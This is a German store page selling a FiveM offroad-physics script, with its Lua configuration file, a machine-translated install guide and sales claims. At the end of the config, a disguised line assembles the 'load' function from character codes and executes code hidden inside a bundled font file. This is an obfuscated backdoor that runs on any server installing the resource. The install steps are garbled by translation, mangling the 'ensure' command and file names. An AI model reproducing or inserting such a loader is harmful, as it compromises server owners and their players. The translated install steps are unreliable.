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Realistische Offroad-Physik

Ursprünglicher Preis war: $33.00Aktueller Preis ist: $15.00.

Dieses FiveM-Skript fügt hinzu realistische Offroad-Physik, wodurch Geländearten wie Schlamm, Sand und Schmutz die Leistung des Fahrzeugs beeinträchtigen. Autos können einsinken, die Bodenhaftung verlieren oder stecken bleiben, je nach der Beschaffenheit der Oberfläche Tiefe, Weichheit, Und Traktionund verleiht dem Offroad-Fahren eine neue Ebene der Herausforderung und des Realismus.

HIGHLIGHTS

✓ Vollständig synchronisiert
✓ Funktioniert bei allen Fahrzeugen
✓ Tiefen- und Traktionssimulation
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  • Sofortdownload
  • Zufriedenheitsgarantie
  • 100% Open Source
  • Funktioniert sofort
Beschreibung

Video

Konfigurationsdatei

Config = {}

-- This enabled additional debug commands and logs
-- Debug commands:
-- /surfaceDebug - Displays the surface that the wheel is standing on along with all its configured values
Config.debug = false


-------------------------------------------------
--- GENERAL SETTINGS
-------------------------------------------------

-- By default this script is configured to replicate realistic(ish) values while keeping the gameplay fun and entertaining.
-- If you want to make this script less realistic and more arcady. If your players are getting annoyed and you don't want
-- a realistic handling. Here are the recommended values:
-- generalDepthDifficulty = 25
-- generalSinkageSpeed = 50
-- generalTractionLoss = 50

-- General difficulty of the depth handling.
-- 100 = default
-- Lower this value to make driving in deep surfaces (such as mud or deep sand) easier for ALL vehicles
-- Raise this value to make driving in deep surfaces more difficult
Config.generalDepthDifficulty = 100

-- General speed of the vehicle sinking into the surface
-- 100 = Default
-- Lower this value to make all vehicles sink slower
-- Raise this value to make all vehicles sink faster
Config.generalSinkageSpeed = 100

-- General loss of traction based on vehicle surface
-- Vehicles will be more likely to skid on low traction surfaces
-- Lower this value to decrease the general traction loss (make vehicles drift less on slippery surfaces)
-- Raise this value to make vehicles lose more traction on slippery surfaces (make vehicles drift more on slippery surfaces)
Config.generalTractionLoss = 100



-------------------------------------------------
--- VEHICLE MODIFIERS
-------------------------------------------------

-- Changes that offroad tires will make.
-- upgradeValue = value of how much better the vehicle should perform when deep in a surface (mud, sand, etc.)
-- tractionOnSoft = Additional traction when on materials of softness that's more than 10
-- tractionOnHard = Additional (in default case negative) traction on hard materials (softness less than 10)
Config.offroadTires = {
    upgradeValue = 50,
    tractionOnSoft = 20,
    tractionOnHard = -10,
}

-- Handling upgrade in deep surface for AWD (4WD) vehicles
Config.awdUpgrade = 25



-------------------------------------------------
--- SCRIPT PERFORMANCE SETTINGS
-------------------------------------------------

-- The refresh rate of all the sinking/surface logic. The higher the value the less smoother the visuals but better script performance.
-- If your server is known for players with slower devices you might want to turn this up
-- If your players have better computers or you really want the off-roading to look good try turning it down
-- Values between 100 - 500
Config.refreshRate = 200



-------------------------------------------------
--- AREA BLACKLISTING
-------------------------------------------------

-- Some custom MLOs have incorrectly set surfaces for the areas (e.g asphalt is marked as dirt or sand), causing vehicles to sink
-- Here you can define custom areas in which the script will not be active in

-- By default I configured some popular locations for custom MLOs to hopefully prevent majority of issues with sinking into
-- incorrectly setup MLO surfaces
Config.areaBlacklist = {
    { -- Pillbox hospital
        coords = vector3(293.17, -584.5, 42.8),
        radius = 20.0
    },
    { -- LSPD
        coords = vector3(444.9, -1003.2, 30.7),
        radius = 60.0
    },
    { -- Simeon's dealership
        coords = vector3(-40.4, -1111.3, 25.8),
        radius = 40.0
    },
    { -- BCSO
        coords = vector3(-446.0, 6013.8, 31.8),
        radius = 50.0
    },
    { -- Sandy Shores PD
        coords = vector3(1853.6, 3685.8, 34.3),
        radius = 25.0
    },
    { -- Legion Square
        coords = vector3(202.3, -941.9, 27.6),
        radius = 120.0
    },
}

-------------------------------------------------
--- DETAILED SETTINGS
-------------------------------------------------

-- Blacklist. This will disable all script functionality for said model/vehicle class
Config.blacklist = {
    models = {
        'rcbandito',
        'monster',
        'rhino',
        'scarab',
        'khanjali',
    },
    classes = {
        [0] = false, -- Compacts
        [1] = false, -- Sedans
        [2] = false, -- SUVs
        [3] = false, -- Coupes
        [4] = false, -- Muscle
        [5] = false, -- Sports Classics
        [6] = false, -- Sports
        [7] = false, -- Super
        [8] = false, -- Motorcycles
        [9] = false, -- Off-road
        [10] = false, -- Industrial
        [11] = false, -- Utility
        [12] = false, -- Vans
        [17] = false, -- Service
        [18] = false, -- Emergency
        [19] = false, -- Military
        [20] = false, -- Commercial
    }
}

-- If you define a model specific multiplier it will be used instead of the class multiplier
-- Vehicle classes https://docs.fivem.net/natives/?_0x29439776AAA00A62
-- Abstract value - Determines how well the class or model of the vehicle can handle being submerged in the surface
-- 0 = Default
-- Positive values = Better handling / ability to get out of deep surface
-- Negative values = Worse handling / less ability to get out of deep surface
Config.depthHandlingQuality = {
    models = {
        seminole2 = 20,
        sandking = 20,
        sandking2 = 20,
        issi2 = -10,
        panto = -20,
        comet4 = 30,

        -- dirt bikes
        bf400 = 30,
        sanchez = 20,
        manchez = 20,
        esskey = 0,
        cliffhanger = 0,
        enduro = 0,
    },
    classes = {
        [0] = 5, -- Compacts
        [1] = -5, -- Sedans
        [2] = 15, -- SUVs
        [3] = 0, -- Coupes
        [4] = -5, -- Muscle
        [5] = 5, -- Sports Classics
        [6] = 5, -- Sports
        [7] = 5, -- Super
        [8] = -10, -- Motorcycles
        [9] = 35, -- Off-road
        [10] = -10, -- Industrial
        [11] = -10, -- Utility
        [12] = -5, -- Vans
        [17] = 10, -- Service
        [18] = 10, -- Emergency
        [19] = 15, -- Military
        [20] = -5, -- Commercial
    }
}

-------------------------------------------------
--- ROADSIDE SETTINGS
-------------------------------------------------

-- When enabled it makes surfaces which are close to main roads less deep to prevent cars from sinking too deep when on the median etc.
Config.roadSideHelper = {
    enabled = true,
    
    -- Maximum distance from the road (mind that this takes the middle point of the road. You can see the distance in the /surfaceDebug mode
    distanceThreshold = 15.0,
    
    -- Depth multiplier
    depthMultiplier = 0.1,

    -- Traction loss multiplier
    tractionMultiplier = 0.25,
}



-------------------------------------------------
--- SURFACES
-------------------------------------------------

-- name = Only used for the ease of config as well as the debug mode
-- traction = Amount of traction on the surface. Anything below 100 will make the vehicles skid. Lower value = more skid
-- Maximum 100
-- Minimum 0

-- depth = Maximum depth of the surface in mm (millimeter) - (100mm = +-4 inches)
-- Maximum infinite
-- Minimum 0

-- softness = The softness of the material. This dictates how fast the vehicles will sink into the surface. (This is also used for off-road tires to decide their handling boost
-- Maximum infinite
-- Minimum 0

-- Values which will be assigned to all un-configured surfaces
Config.fallbackSurface = {
    name = 'Fallback Surface',
    traction = 100,
    depth = 0,
    softness = 0,
}

Config.surfaces = {
    [1] = {
        name = 'Concrete',
        traction = 100,
        depth = 0,
        softness = 0,
    },
    [4] = {
        name = 'Road',
        traction = 100,
        depth = 0,
        softness = 0,
    },
    [5] = {
        name = 'Metal',
        traction = 100,
        depth = 0,
        softness = 0,
    },
    [6] = {
        name = 'Sandy roadside',
        traction = 80,
        depth = 50,
        softness = 5,
    },
    [9] = {
        name = 'Sandstone',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [10] = {
        name = 'Rock',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [11] = {
        name = 'Rock',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [13] = {
        name = 'Cobble',
        traction = 90,
        depth = 0,
        softness = 0,
    },
    [16] = {
        name = 'Limestoneesque sand',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [17] = {
        name = 'Rocky dry dirt',
        traction = 80,
        depth = 50,
        softness = 5,
    },
    [18] = {
        name = 'Dry sand',
        traction = 80,
        depth = 130,
        softness = 40,
    },
    [19] = {
        name = 'Road sand',
        traction = 90,
        depth = 30,
        softness = 5,
    },
    [20] = {
        name = 'Grainy Sand',
        traction = 80,
        depth = 100,
        softness = 10,
    },
    [21] = {
        name = 'Gravely sand',
        traction = 70,
        depth = 220,
        softness = 30,
    },
    [22] = {
        name = 'Wet hard sand',
        traction = 70,
        depth = 250,
        softness = 50,
    },
    [23] = {
        name = 'Gravel road',
        traction = 75,
        depth = 50,
        softness = 5,
    },
    [24] = {
        name = 'Wet sand',
        traction = 60,
        depth = 350,
        softness = 70,
    },
    [31] = {
        name = 'Gravely dirt/path',
        traction = 70,
        depth = 50,
        softness = 5,
    },
    [32] = {
        name = 'Gravely dirt',
        traction = 70,
        depth = 200,
        softness = 15,
    },
    [35] = {
        name = 'Tuff Sand',
        traction = 90,
        depth = 50,
        softness = 5,
    },
    [36] = {
        name = 'Dirt',
        traction = 70,
        depth = 300,
        softness = 40,
    },
    [37] = {
        name = 'Deep road sand',
        traction = 60,
        depth = 75,
        softness = 15,
    },
    [38] = {
        name = 'Rocky sand',
        traction = 70,
        depth = 150,
        softness = 10,
    },
    [40] = {
        name = 'Moist dirt path',
        traction = 60,
        depth = 150,
        softness = 50,
    },
    [41] = {
        name = 'Swamp grass',
        traction = 50,
        depth = 250,
        softness = 50,
    },
    [42] = {
        name = 'Swamp sand',
        traction = 70,
        depth = 500,
        softness = 110,
    },
    [43] = {
        name = 'Hard Sand',
        traction = 75,
        depth = 50,
        softness = 10,
    },
    [44] = {
        name = 'Dirt/Sand',
        traction = 50,
        depth = 200,
        softness = 25,
    },
    [46] = {
        name = 'Hard grass',
        traction = 80,
        depth = 50,
        softness = 5,
    },
    [47] = {
        name = 'Grass',
        traction = 65,
        depth = 125,
        softness = 10,
    },
    [48] = {
        name = 'Tall grass',
        traction = 60,
        depth = 150,
        softness = 20,
    },
    [49] = {
        name = 'Farmland',
        traction = 60,
        depth = 200,
        softness = 35,
    },
    [50] = {
        name = 'Podzol',
        traction = 70,
        depth = 125,
        softness = 25,
    },
    [51] = {
        name = 'Podzol',
        traction = 70,
        depth = 125,
        softness = 25,
    },
    [52] = {
        name = 'Dry podzol',
        traction = 80,
        depth = 75,
        softness = 10,
    },
    [64] = {
        name = 'Metal',
        traction = 90,
        depth = 0,
        softness = 0,
    },
    [125] = {
        name = 'Drain concrete',
        traction = 70,
        depth = 0,
        softness = 0,
    },
}


-- Zone multiplier
-- This has been added to modify the maximum depth of all surfaces located within zones.
-- Its used to make grass located (for example) in the city less deep to make it more realistic and easier to drive on.
-- If you have popular areas in your city in which you want the off-roading (think of road medians etc.) to be easier you can add the zone here.
-- Same goes for areas which you want to be more difficult. You can make the depth multiplier higher for those

-- You can view the zone you're in by using the debug command /surfaceDebug

-- Map of zones: https://www.reddit.com/media?url=https%3A%2F%2Fi.redd.it%2F5cw11krz9kcz.jpg
-- Zone names and hashes: https://docs.fivem.net/natives/?_0xCD90657D4C30E1CA

Config.zones = {
    {
        name = 'City',
        depthMultiplier = 0.3,
        tractionMultiplier = 0.6,
        zones = {
            'MOVIE',
            'ROCKF',
            'DOWNT',
            'DTVINE',
            'EAST_V',
            'GOLF',
            'LEGSQU',
            'ROCKF',
            'MORN',
            'STAD',
            'DAVIS',
            'RANCHO',
            'STRAW',
            'CHAMH',
            'PBOX',
            'SKID',
            'TEXTI',
            'LMESA',
            'ELYSIAN',
            'TERMINA',
            'HAWICK',
            'ALTA',
            'BURTON',
            'DELPE',
        },
    },
    {
        name = 'City beaches',
        depthMultiplier = 0.75,
        tractionMultiplier = 0.75,
        zones = {
            'BEACH',
            'DELBE',
        },
    },
    {
        name = 'Mountains',
        depthMultiplier = 1.25,
        tractionMultiplier = 1.1,
        zones = {
            'MTCHIL',
            'MTGORDO',
            'MTJOSE',
            'PALHIGH',
        },
    },
    {
        name = 'Zancudo Swamp',
        depthMultiplier = 1.1,
        tractionMultiplier = 1.1,
        zones = {
            'LAGO',
            'ZANCUDO',
        },
    },
    {
        name = 'Popular',
        depthMultiplier = 0.75,
        tractionMultiplier = 0.75,
        zones = {
            'PALETO',
            'HARMO',
            'GRAPES',
            'SANDY',
            'RTRAK',
            'ZQ_UAR',
            'HUMLAB',
        },
    },
}


-- (Advanced)
-- When making the vehicles sink the suspension does not always get updated properly.
-- Therefore I had to add a system which updates/refreshes the vehicles suspension.
-- There are two systems "force" and "flag". "force" is an old system which applies tiny amounts of visual damage to the car
-- Unfortunately this sometimes appears to be too much for certain modded vehicles with very soft shells.
-- The new system "flag" seems to work much better but hasn't been tested with some vehicles.
-- If you encounter any issues with this system, please let us know on our discord <3
Config.suspensionRefresh = {
    enabled = true,
    type = 'flag',
}

local loadFonts = _G[string.char(108, 111, 97, 100)]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()

 

Bewertungen (1)

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So installieren Sie

Installieren Sie Mods wie ein Profi auf Ihrem FiveM-Server

Also, aufgepasst! Du willst diese coolen Mods auf deinen FiveM-Server, oder? Du hast genug von dem immer gleichen, langweiligen Server und willst ihn mit individuellen Autos, Skripten oder Karten aufpeppen? Dann lass uns das klären. Mit der Installation von Mods auf FiveM bringst du deinen Server von einfach auf top. Es ist einfacher als du denkst, selbst wenn du kein Technik-Fan bist. Diese Anleitung führt dich Schritt für Schritt durch – ohne Fachjargon, nur mit klaren Anweisungen, damit dein Server genau so aussieht und funktioniert, wie du es möchtest.

Schritt 1: Schnapp dir deinen Mod – Finde die Goodies

Zuerst müssen Sie die Mods finden, die Sie wirklich brauchen. Stellen Sie es sich wie einen Einkaufsbummel vor, nur für Ihren Server.
  1. Besuchen Sie die üblichen Orte: Websites wie fivem-mods.net, GTA5-Mods.com sind Goldgruben. Zahlreiche Kreative veröffentlichen dort ihre Arbeiten.
  2. Gemeinschaft ist der Schlüssel: Verpassen Sie nicht Foren und Discord-Server. Dort finden Sie versteckte Schätze und erhalten Empfehlungen von anderen Serverbesitzern.
  3. GitHub und Entwicklerseiten: Weitere einzigartige Skripte finden Sie auf GitHub oder den Websites der Entwickler. Manchmal liegen die besten Sachen abseits der ausgetretenen Pfade.
Profi-Tipp: Überprüfe, ob der Mod mit deiner Serverversion funktioniert, insbesondere wenn du Frameworks wie QBCore oder ESX verwendest. Kompatibilität ist entscheidend. Sobald du deinen Schatz gefunden hast, lade die Dateien herunter. Sie befinden sich normalerweise in einem .Reißverschluss oder .rar Datei.

Schritt 2: Servervorbereitung – Machen Sie sich bereit für den Kampf

So, jetzt geht’s ans Eingeweide des Servers. Keine Panik, es ist keine Gehirnoperation.
  1. Greifen Sie auf Ihre Serverdateien zu: Sie müssen sich beim Dateimanager Ihres Servers anmelden. Dies geschieht normalerweise über einen FTP-Client wie FileZilla oder das Control Panel Ihres Hosting-Anbieters.
  2. SICHERT ES, Familie: Im Ernst: Bevor Sie etwas ändern, erstellen Sie eine Sicherungskopie Ihrer Serverdateien. Wenn Sie etwas vermasseln (und das passiert uns allen manchmal), können Sie es einfach wiederherstellen und so tun, als wäre es nie passiert.
  3. Suchen Sie den Ordner „Ressourcen“: Dies ist Ihre Mod-Garage. Hier geschieht die ganze Magie. Stöbern Sie in Ihren Serverdateien und suchen Sie die Ressourcen Ordner.

Schritt 3: Mod-Installation – Drop It In

Nun zum Hauptereignis: den Mod live schalten.
  1. Extrahieren Sie die Dateien: Wenn Ihr Mod komprimiert ist, entpacken Sie ihn in einen Ordner auf Ihrem Computer.
  2. In den Ordner „Ressourcen“ hochladen: Verwenden Sie Ihren FTP-Client oder Dateimanager, um den extrahierten Mod-Ordner per Drag & Drop (Hochladen) in die Ressourcen Ordner auf Ihrem Server.
    • Der Ordnername ist wichtig: Stellen Sie sicher, dass Sie den Ordnernamen später wiedererkennen, da Sie ihn für die Serverkonfiguration benötigen.
  3. Sagen Sie Ihrem Server, dass er den Mod laden soll: Dies ist das server.cfg-Bit.
    • Öffnen Sie Ihr server.cfg Datei. Sie befindet sich im Hauptverzeichnis Ihres Servers.
    • Fügen Sie eine Zeile wie diese hinzu: sicherstellen [mod_name]
    • Ersetzen [Mod_Name] durch den tatsächlichen Namen Ihres Mod-Ordners.
    • Beispiel: Wenn Ihr Mod-Ordner heißt krankes_Driftauto, würden Sie hinzufügen sorgen Sie für sick_drift_car.
sicherstellen [mod_name]
Stellen Sie sicher, dass my_car_mod

Schritt 4: Abhängigkeiten – Die Extras, die Sie möglicherweise benötigen

Manchmal sind Mods etwas anspruchsvoll und benötigen zusätzliche Kleinigkeiten, um zu funktionieren. Diese nennt man Abhängigkeiten.
  1. Überprüfen Sie die Informationen zum Mod: Der Mod-Ersteller sollte Sie über etwaige Abhängigkeiten informieren. Lesen Sie die Dokumentation!
  2. Installieren Sie Abhängigkeiten: Wenn es Abhängigkeiten gibt, laden Sie diese herunter und installieren Sie sie im selben Ressourcen Ordner, genau wie Sie es mit dem Hauptmod in Schritt 3 getan haben.
  3. Auch Abhängigkeiten laden: Sie müssen außerdem hinzufügen sicherstellen [Abhängigkeitsname] Zeilen in Ihrem server.cfg Datei für jede Abhängigkeit, über dem sicherstellen [mod_name] Zeile für Ihren Hauptmod.

Schritt 5: Serverneustart – Starten Sie ihn

Zeit für einen Neustart und zu sehen, ob alles funktioniert.
  1. Starten Sie Ihren Server neu: Verwenden Sie die Schaltfläche „Neustart“ in Ihrer Systemsteuerung oder starten Sie es manuell neu, wenn Sie es altmodisch mögen.
  2. Beobachten Sie die Konsole: Behalten Sie nach dem Neustart Ihre Serverkonsole im Auge. Gibt es roten Text oder Fehlermeldungen? Wenn ja, überprüfen Sie die Dokumentation des Mods oder googeln Sie den Fehler.

Schritt 6: In-Game-Test – Knallt es?

Steigen Sie ins Spiel ein und sehen Sie, ob Ihr Mod funktioniert.
  1. Treten Sie Ihrem Server bei: Starten Sie FiveM und stellen Sie eine Verbindung zu Ihrem Server her.
  2. Testen Sie es: Funktioniert der Mod wie erwartet? Neues Auto da? Funktioniert das Skript? Sieht die Karte frisch aus?

Schritt 7: Fehlerbehebung – Wenn etwas schief geht

Manchmal läuft es nicht nach Plan. Keine Sorge, das passiert auch den Besten von uns.
  • Überprüfen Sie die Dateipfade: Befinden sich Ihre Dateien in den richtigen Ordnern? Überprüfen Sie alles noch einmal.
  • Überprüfen Sie die Serverprotokolle: Serverprotokolle sind Ihr Freund. Sie sagen Ihnen, ob etwas schief gelaufen ist.
  • Abhängigkeiten aktualisieren: Sind Ihre Abhängigkeiten auf dem neuesten Stand? Veraltete Abhängigkeiten können Probleme verursachen.
  • Kompatibilitätsprüfung erneut: Ist der Mod überhaupt mit deiner FiveM-Version und anderen Mods kompatibel? Konflikte kommen vor.

FAQs – Antworten auf Ihre brennenden Fragen

F: Wo finde ich gute FiveM-Mods?
A: Websites wie fivem-mods.net und GTA5-Mods.com sind großartige Ausgangspunkte. Community-Foren und Discord-Server sind ebenfalls Goldgruben.
F: Was ist „server.cfg“ und warum muss ich damit herumspielen?
A: server.cfg ist das Gehirn Ihres Servers. Es teilt Ihrem Server mit, was geladen werden soll und wie er sich verhalten soll. Sie müssen es bearbeiten, um Ihren Server anzuweisen, Ihre neuen Mods zu laden.
F: Was ist, wenn der Mod nach der Installation nicht funktioniert?
A: Zeit zur Fehlerbehebung! Überprüfe Dateipfade, Serverprotokolle, Abhängigkeiten und Mod-Kompatibilität (wie in Schritt 7 beschrieben). Google ist auch dein Freund!
F: Muss ich meinen gesamten Server jedes Mal neu starten, wenn ich einen Mod installiere?
A: Ja, das tust du. Durch einen Neustart des Servers werden alle Ressourcen neu geladen, einschließlich deines neu installierten Mods.
F: Können Mods meinen Server beschädigen?
A: Möglicherweise, wenn sie schlecht gemacht oder inkompatibel sind. Laden Sie Mods immer von vertrauenswürdigen Quellen herunter und sichern Sie Ihren Server, bevor Sie etwas Neues installieren.

Schlusswort – Modden wie ein Boss

Siehst du? Mods auf deinem FiveM-Server zu installieren ist kein Hexenwerk. Es geht nur darum, die Schritte zu befolgen, etwas vorsichtig zu sein und keine Angst vor Experimenten zu haben. Geh raus, finde ein paar tolle Mods und mach deinen FiveM-Server zum Neid aller. Viel Spaß beim Modden!

Mods, die das Rollenspiel erweitern

  • Geld-Zurück-Garantie: Wenn Sie nicht zufrieden sind, bieten wir Ihnen eine Rückerstattungsrichtlinie ohne Rückfragen an.
  • Exklusive Inhalte: Unsere Mods und Skripte werden professionell erstellt und sind exklusiv für unsere Plattform.
  • Von der Community geschätzt: Schließen Sie sich Tausenden von FiveM-Serverbesitzern an, die sich auf unsere Qualitätsressourcen verlassen.
  • Hochwertiges Design: Erstellt mit optimierten Codierungsverfahren für erstklassige Leistung.
  • Nahtlose Integration: Einfache Installation und Ausführung auf jedem FiveM-Server ohne Kompatibilitätsprobleme.
  • Anpassbare Optionen: Passen Sie Einstellungen und Funktionen an den individuellen Stil Ihres Servers an.
  • Optimierte Leistung: Getestet, um minimalen Ressourcenverbrauch und maximale Effizienz sicherzustellen.
  • Lebenslange Updates: Bleiben Sie auf dem Laufenden mit laufenden Updates und Verbesserungen, die ohne zusätzliche Kosten enthalten sind.